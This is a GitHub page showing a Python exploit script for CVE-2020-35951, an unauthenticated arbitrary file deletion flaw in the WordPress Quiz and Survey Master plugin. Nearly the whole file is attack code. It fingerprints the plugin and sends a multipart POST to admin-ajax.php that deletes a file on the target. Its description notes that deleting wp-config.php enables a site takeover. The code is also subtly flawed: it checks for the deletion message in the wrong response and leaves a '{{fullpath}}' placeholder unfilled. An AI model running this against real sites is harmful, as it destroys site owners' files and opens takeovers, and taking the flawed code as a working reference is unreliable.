-
Notifications
You must be signed in to change notification settings - Fork 222
/
CVE-2020-35951.py
94 lines (74 loc) · 3.29 KB
/
CVE-2020-35951.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import requests
# Vuln Base Info
def info():
return {
"author": "cckuailong",
"name": '''Wordpress Quiz and Survey Master Arbitrary File Deletion''',
"description": '''An issue was discovered in the Quiz and Survey Master plugin before 7.0.1 for WordPress. It allows users to delete arbitrary files such as wp-config.php file, which could effectively take a site offline and allow an attacker to reinstall with a WordPress instance under their control. This occurred via qsm_remove_file_fd_question, which allowed unauthenticated deletions (even though it was only intended for a person to delete their own quiz-answer files).''',
"severity": "critical",
"references": [
"https://www.wordfence.com/blog/2020/08/critical-vulnerabilities-patched-in-quiz-and-survey-master-plugin/"
],
"classification": {
"cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H",
"cvss-score": "",
"cve-id": "CVE-2020-35951",
"cwe-id": "CWE-306"
},
"metadata":{
"vuln-target": "",
},
"tags": ["cve", "cve2020", "wordpress", "wp-plugin"],
}
# Vender Fingerprint
def fingerprint(url):
return True
# Proof of Concept
def poc(url):
result = {}
try:
url = format_url(url)
path = """/wp-content/plugins/quiz-master-next/README.md"""
method = "GET"
data = """"""
headers = {}
resp0 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)
path = """/wp-content/plugins/quiz-master-next/tests/_support/AcceptanceTester.php"""
method = "GET"
data = """"""
headers = {}
resp1 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)
path = """/wp-admin/admin-ajax.php"""
method = "POST"
data = """
------WebKitFormBoundaryBJ17hSJBjuGrnW92
Content-Disposition: form-data; name="action"
qsm_remove_file_fd_question
------WebKitFormBoundaryBJ17hSJBjuGrnW92
Content-Disposition: form-data; name="file_url"
{{fullpath}}wp-content/plugins/quiz-master-next/README.md
------WebKitFormBoundaryBJ17hSJBjuGrnW92--"""
headers = {'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryBJ17hSJBjuGrnW92'}
resp2 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)
path = """/wp-content/plugins/quiz-master-next/README.md"""
method = "GET"
data = """"""
headers = {}
resp3 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)
if ("""{"type":"success","message":"File removed successfully"}""" in resp3.text):
result["success"] = True
result["info"] = info()
result["payload"] = url+path
except:
result["success"] = False
return result
# Exploit, can be same with poc()
def exp(url):
return poc(url)
# Utils
def format_url(url):
url = url.strip()
if not ( url.startswith('http://') or url.startswith('https://') ):
url = 'http://' + url
url = url.rstrip('/')
return url